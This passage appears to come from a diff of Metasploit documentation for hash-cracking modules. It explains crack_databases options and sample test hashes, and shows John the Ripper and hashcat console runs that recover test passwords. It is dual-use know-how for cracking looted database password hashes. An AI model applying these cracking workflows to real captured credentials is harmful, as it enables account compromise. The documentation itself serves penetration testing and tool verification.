des_55 rDpJV6xlcXxRM Nonreplayable hash des
|
||||
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
|
||||
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
|
||||
des_pot_55 55 Password
|
||||
des2_password password Password
|
||||
des_password password Password
|
||||
des_55 55 Password
|
||||
des_passphrase passphrase Password
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
|
||||
resource (hashes_hashcat.rb)> set action hashcat
|
||||
action => hashcat
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-27714-1ct3bn3
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-27714-1j3q151
|
||||
[*] Checking descrypt hashes already cracked...
|
||||
[*] Cracking descrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking descrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3 /tmp/jtrtmp20190531-27714-1j3q151
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1260 descrypt des2_password password Wordlist
|
||||
1261 descrypt des_password password Wordlist
|
||||
1262 descrypt des_55 55 Incremental
|
||||
1263 descrypt des_pot_55 55 Already Cracked/POT
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
des2_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_55 rDpJV6xlcXxRM Nonreplayable hash des
|
||||
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
|
||||
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
|
||||
des_pot_55 55 Password
|
||||
des_55 55 Password
|
||||
des2_password password Password
|
||||
des_password password Password
|
||||
```
|
||||
@@ -0,0 +1,920 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode varying databases
|
||||
based password hashes, such as:
|
||||
|
||||
* `mysql` based passwords
|
||||
* `mysql` based passwords
|
||||
* `mysql-sha1` based passwords
|
||||
* `mssql` based passwords
|
||||
* `mssql` based passwords
|
||||
* `mssql05` based passwords
|
||||
* `mssql12` based passwords
|
||||
* `oracle` based passwords
|
||||
* `oracle 10` based passwords
|
||||
* `oracle 11/12 H values` based passwords
|
||||
* `oracle 12c` based passwords
|
||||
* `postgres` based passwords
|
||||
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|----------------|-------------|---------|
|
||||
| mysql | mysql | 200 |
|
||||
| mysql-sha1 | mysql-sha1 | 300 |
|
||||
| mssql | mssql | 131 |
|
||||
| mssql05 | mssql05 | 132 |
|
||||
| mssql12 | mssql12 | 1731 |
|
||||
| oracle 10 | oracle | n/a |
|
||||
| oracle 11/12 H | | 112 |
|
||||
| oracle 12c | sha512crypt | 12300 |
|
||||
| postgres | postgres | 1800 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with a database password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_databases```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MSSQL**
|
||||
|
||||
Crack MSSQL hashes. Default is `true`.
|
||||
|
||||
**MYSQL**
|
||||
|
||||
Crack MySQL hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**ORACLE**
|
||||
|
||||
Crack oracle hashes. Default is `true`.
|
||||
|
||||
|
||||
**POSTGRES**
|
||||
|
||||
Crack postgres hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
|
||||
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279$
|
||||
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E278$
|
||||
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
|
||||
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
|
||||
## oracle (10) uses usernames in the hashing, so we can't overide that here
|
||||
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
|
||||
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
|
||||
## oracle 11/12 H value, username is used
|
||||
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797$
|
||||
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
|
||||
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:$
|
||||
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B3$
|
||||
##postgres uses username, so we can't overide that here
|
||||
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
|
||||
creds add user:example postgres:md5be86a79bf20fake2d58d5453c47d4860
|
||||
echo "" > /root/.msf4/john.pot
|
||||
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
|
||||
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
|
||||
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
|
||||
echo "test" > /tmp/wordlist
|
||||
echo "password" >> /tmp/wordlist
|
||||
echo "toto" >> /tmp/wordlist
|
||||
echo "foo" >> /tmp/wordlist
|
||||
echo "tere" >> /tmp/wordlist
|
||||
echo "Password1\!" >> /tmp/wordlist
|
||||
echo "system" >> /tmp/wordlist
|
||||
echo "simon" >> /tmp/wordlist
|
||||
echo "A" >> /tmp/wordlist
|
||||
echo "THALES" >> /tmp/wordlist
|
||||
echo "probe" >> /tmp/wordlist
|
||||
echo "epsilon" >> /tmp/wordlist
|
||||
echo "t\!" >> /tmp/wordlist
|
||||
```
|
||||
|
||||
### John the Ripper
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] john Version Detected: 1.9.0-jumbo-1 OMP
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-29358-11uv1t0
|
||||
[*] Checking mssql hashes already cracked...
|
||||
[*] Cracking mssql hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 400.0p/s 400.0c/s 400.0C/s TEST3:::..FOO
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mssql hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1357 mssql mssql_foo FOO Single
|
||||
|
||||
[*] Checking mssql05 hashes already cracked...
|
||||
[*] Cracking mssql05 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
2g 0:00:00:00 DONE (2019-05-31 15:44) 100.0g/s 400.0p/s 800.0c/s 800.0C/s test3:::..foo
|
||||
Use the "--show --format=mssql05" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mssql05 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql05 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql05 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql05 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
|
||||
[*] Checking mssql12 hashes already cracked...
|
||||
[*] Cracking mssql12 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 409600p/s 409600c/s 409600C/s test3:::..Password1\!99
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mssql12 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql12 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql12 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql12 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
|
||||
[*] Checking mysql hashes already cracked...
|
||||
[*] Cracking mysql hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 51200p/s 51200c/s 51200C/s test3:::..est3:::
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mysql hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
|
||||
[*] Checking mysql-sha1 hashes already cracked...
|
||||
[*] Cracking mysql-sha1 hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Warning: no OpenMP support for this hash type, consider --fork=8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 1600p/s 1600c/s 1600C/s tere..probe
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking mysql-sha1 hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql-sha1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1356 mssql05 mssql05_toto toto Single
|
||||
1357 mssql mssql_foo FOO Single
|
||||
1358 mssql12 mssql12_Password1! Password1! Single
|
||||
1359 mysql mysql_probe probe Single
|
||||
1360 mysql-sha1 mysql-sha1_tere tere Single
|
||||
|
||||
[*] Checking oracle hashes already cracked...
|
||||
[*] Cracking oracle hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
2g 0:00:00:00 DONE (2019-05-31 15:45) 66.66g/s 364200p/s 1092Kc/s 1092KC/s TEST3:::..T1900
|
||||
Use the "--show --format=oracle" options to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking oracle hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
|
||||
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
|
||||
Almost done: Processing the remaining buffered candidate passwords, if any.
|
||||
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
|
||||
Proceeding with incremental:ASCII
|
||||
Warning: mixed-case charset, but the current hash type is case-insensitive;
|
||||
some candidate passwords may be unnecessarily tried more than once.
|
||||
0g 0:00:01:00 3/3 0g/s 2705Kp/s 2705Kc/s 2705KC/s LML489..LST0WO
|
||||
Session stopped (max run-time reached)
|
||||
[*] Cracking oracle hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
|
||||
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
|
||||
Almost done: Processing the remaining buffered candidate passwords, if any.
|
||||
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
|
||||
Proceeding with incremental:ASCII
|
||||
Warning: mixed-case charset, but the current hash type is case-insensitive;
|
||||
some candidate passwords may be unnecessarily tried more than once.
|
||||
0g 0:00:01:00 3/3 0g/s 2700Kp/s 2700Kc/s 2700KC/s CKS5ER..CGE0DW
|
||||
Session stopped (max run-time reached)
|
||||
[*] Cracking oracle hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:01:00 0g/s 2880Kp/s 2880Kc/s 2880KC/s 225486472..229896168
|
||||
Session stopped (max run-time reached)
|
||||
[*] Cracking oracle hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:00 DONE (2019-05-31 15:48) 0g/s 16700p/s 16700c/s 16700C/s TEST3:::..HASHCATING
|
||||
Session completed
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
